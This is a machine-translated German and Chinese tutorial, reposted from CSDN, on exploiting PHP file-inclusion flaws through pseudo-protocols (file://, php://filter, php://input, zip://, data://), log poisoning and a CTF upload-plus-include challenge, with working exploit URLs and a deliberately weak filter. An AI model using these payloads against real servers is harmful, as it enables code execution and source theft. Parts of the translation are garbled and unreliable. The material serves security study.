Heim  >  Artikel  >  Backend-Entwicklung  >  Lassen Sie uns die Dateieinbindung und die Nutzung des PHP-Pseudoprotokolls analysieren

Lassen Sie uns die Dateieinbindung und die Nutzung des PHP-Pseudoprotokolls analysieren

WBOY
WBOYnach vorne
2022-05-04 09:00:202428Durchsuche

Dieser Artikel bringt Ihnen verwandte Themen zu PHP, der hauptsächlich den relevanten Inhalt über die Dateieinbindung und die Dateieinschluss-Schwachstelle vorstellt, eine Art „Code-Injection“. alle.

Lassen Sie uns die Dateieinbindung und die Nutzung des PHP-Pseudoprotokolls analysieren

Empfohlene Studie: „PHP-Video-Tutorial

Dateieinschluss

Die Schwachstelle beim Einbinden von Dateien ist eine Art „Code-Injection“. Das Prinzip besteht darin, ein Skript oder einen Code einzuschleusen, den der Benutzer steuern kann, und ihn vom Server ausführen zu lassen. Ein typischer Vertreter der „Code-Injection“ ist die Dateieinbindung.

Um die Schwachstelle bei der Dateieinbindung erfolgreich für einen Angriff auszunutzen, müssen die folgenden zwei Bedingungen erfüllt sein:

  • Webanwendungen verwenden include() und andere Dateieinschlussfunktionen, um Dateien einzuführen, die über dynamische Variablen eingebunden werden müssen

  • Benutzer können diese dynamische Variable steuern.

Gemeinsame Funktionen, die die Einbindung von Dateien bewirken:
PHP: include(), include_once(), require(), require_once() usw.;
1.php-Datei enthält Code, der die eingebundene Datei direkt ausführen kann, und die Eingebundenes Dateiformat Ohne Einschränkungen
In PHP stehen vier Funktionen zum Einbinden von Dateien zur Verfügung:
(1) Erforderlich: Wenn die eingebundene Datei nicht gefunden werden kann, wird ein schwerwiegender Fehler (E_COMPILE_ERROR) generiert und das Skript wird angehalten
(2) Einschließen : Kann nicht gefunden werden. Es wird nur eine (E_warinng) generiert, wenn die eingebundene Datei erreicht ist, und das Skript wird weiterhin ausgeführt.
(3) Require_once: Ähnlich wie bei include wird eine Warnung generiert, wenn die Datei Code wurde bereits eingebunden, er wird nicht noch einmal eingebunden;

PHP-Pseudoprotokoll

PHP-Pseudoprotokoll ist eigentlich das Protokoll und Kapselungsprotokoll, das es unterstützt. Die unterstützten Protokolle sind:

file:// — 访问本地文件系统

php:// — 访问各个输入/输出流(I/O streams)data:// — 数据(RFC 2397)zip:// — 压缩流

Lassen Sie uns die Dateieinbindung und die Nutzung des PHP-Pseudoprotokolls analysieren

all_url_include wurde nach PHP 5.2 hinzugefügt. Die sicheren und praktischen Einstellungen (Standardeinstellungen von PHP) sind:allow_url_fopen=on;all_url_include=off;
allow_url_fopen = On (Öffnen von URL-Dateien zulassen, aktiviert). standardmäßig)
allow_url_fopen = Aus (verbietet das Öffnen von URL-Dateien)
allow_url_include = Aus (verbietet das Referenzieren von URL-Dateien, neue Version fügt Funktionen hinzu, Standard ist aus)
allow_url_include = Ein (ermöglicht das Referenzieren von URL-Dateien, neue Version fügt Funktionen hinzu)

Dateiprotokoll

file:// Dateisystem ist das von PHP verwendete Standardkapselungsprotokoll und macht das lokale Dateisystem verfügbar.

Verwenden Sie das Protokoll „file://“, um das lokale phpinfo.php einzubinden Es handelt sich um php://filter und php://input. php://filter wird zum Lesen des Quellcodes verwendet:

php://input wird zum Ausführen von PHP-Code verwendet.

http://localhost/www/lfi.php?file=file://F:\phpstudy\phpstudy_pro\WWW\www\phpinfo.php
Lassen Sie uns die Dateieinbindung und die Nutzung des PHP-Pseudoprotokolls analysierenphp://filter benötigt Base64-Codierung beim Lesen von PHP-Dateien
php://input

allow_url_include = On

php://input + [POST DATA], um PHP-Code auszuführen

Erforderlich** *allow_url_include = Ein***

http://localhost/www/lfi.php?file=php://filter/read=convert.base64-encode/resource=./phpinfo.php
Lassen Sie uns die Dateieinbindung und die Nutzung des PHP-Pseudoprotokolls analysieren
  1. allow_url_include = Aus

In den meisten Fällen istallow_url_include jedoch standardmäßig deaktiviert und
kann keine POST-Daten enthalten Fehlerprotokollaufzeichnung

Zunächst müssen Sie die Methode zum Löschen des Protokollpfads ermitteln. Lassen Sie uns die Dateieinbindung und die Nutzung des PHP-Pseudoprotokolls analysieren

Zur Vereinfachung des Testens habe ich zunächst den Inhalt des Protokolls zur einfachen Demonstration gelöscht.
  1. Besuchen Sie die URL und schreiben Sie Fügen Sie den Code in das Protokoll ein, indem Sie den Fehler melden. Hinweis: Hier müssen Sie Burp verwenden, um Pakete für den Zugriff zu erfassen. Andernfalls wird der Code URL-codiert und in das Protokoll geschrieben und kann nicht ausgeführt werden Benutzeragent.
  2. http://localhost/www/lfi.php?file=php://input
    
    POST	<?system (&#39;ipconfig&#39;)?>


Mein Protokollpfad ist:

F: phpstudyphpstudy_proExtensionsApache2.4.39logsaccess.log.1631750400

Verwenden Sie das Pseudoprotokoll file://, um das Protokoll zu lesen und festzustellen, dass phpinfo erfolgreich ausgeführt wurde

http://localhost/www/lfi.php?file=<?php  phpinfo();?>

Lassen Sie uns die Dateieinbindung und die Nutzung des PHP-Pseudoprotokolls analysieren

zip://protocol

Lassen Sie uns die Dateieinbindung und die Nutzung des PHP-Pseudoprotokolls analysieren
** zip:// & bzip2:// & zlib:// ** sind beide komprimierte Streams und können auf Unterdateien in komprimierten Dateien zugreifen. Es ist nicht erforderlich, einen Suffixnamen anzugeben und kann in ein beliebiges Suffix geändert werden: jpg, png, gif xxx usw.

Hier analysieren wir einen CTF-Fall, der Datei-Upload und Dateieinbindung kombiniert

Analysieren Sie zunächst den Quellcode des Datei-Uploads


file:
 

分析源代码发现,文件上传采用了白名单限制策略,只能上传
“gif", “jpeg”, “jpg”, "png"四种后缀名的文件。

分析文件包含的源代码

Tips: the parameter is file! :) <!-- upload.php --><?php     @$file = $_GET["file"];
    echo $file;
    if(isset($file))
    {
        if (preg_match(&#39;/http|data|ftp|input|%00/i&#39;, $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
        {
            echo "<p> error! </p>";
        }
        else
        {
            include($file.'.php');
        }
    }?>

分析文件包含源代码,发现限制了部分伪协议和%00截断,且在include中自动添加了php后缀名,但是没有限制zip伪协议。

综上分析可以发现,在文件包含中利用zip伪协议,可以创建test.zip的压缩包,里面放着test.php的文件。

在文件上传时候将后缀名zip修改为png的后缀名,

test.php中写入木马

<?phpphpinfo ();?>

如下图所示
Lassen Sie uns die Dateieinbindung und die Nutzung des PHP-Pseudoprotokolls analysieren

Lassen Sie uns die Dateieinbindung und die Nutzung des PHP-Pseudoprotokolls analysieren

图片上传成功之后,利用文件包含和zip://协议去读取test.png中的test.php,发现phpinfo()被执行了,说明poc验证成功

http://172.22.32.25:42715/include.php?file=zip://upload/test.png%23test

Lassen Sie uns die Dateieinbindung und die Nutzung des PHP-Pseudoprotokolls analysieren

data://

条件:

allow_url_fopen:on
allow_url_include :on

访问网址

http://localhost/www/lfi.php?file=data://text/plain,<?php  phpinfo();?>

也可以使用base64编码,防止代码被过滤掉

file=data://text/plain,base64;PD9waHAgcGhwaW5mbygpPz4=
Lassen Sie uns die Dateieinbindung und die Nutzung des PHP-Pseudoprotokolls analysieren

推荐学习:《PHP视频教程

Das obige ist der detaillierte Inhalt vonLassen Sie uns die Dateieinbindung und die Nutzung des PHP-Pseudoprotokolls analysieren. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Dieser Artikel ist reproduziert unter:csdn.net. Bei Verstößen wenden Sie sich bitte an admin@php.cn löschen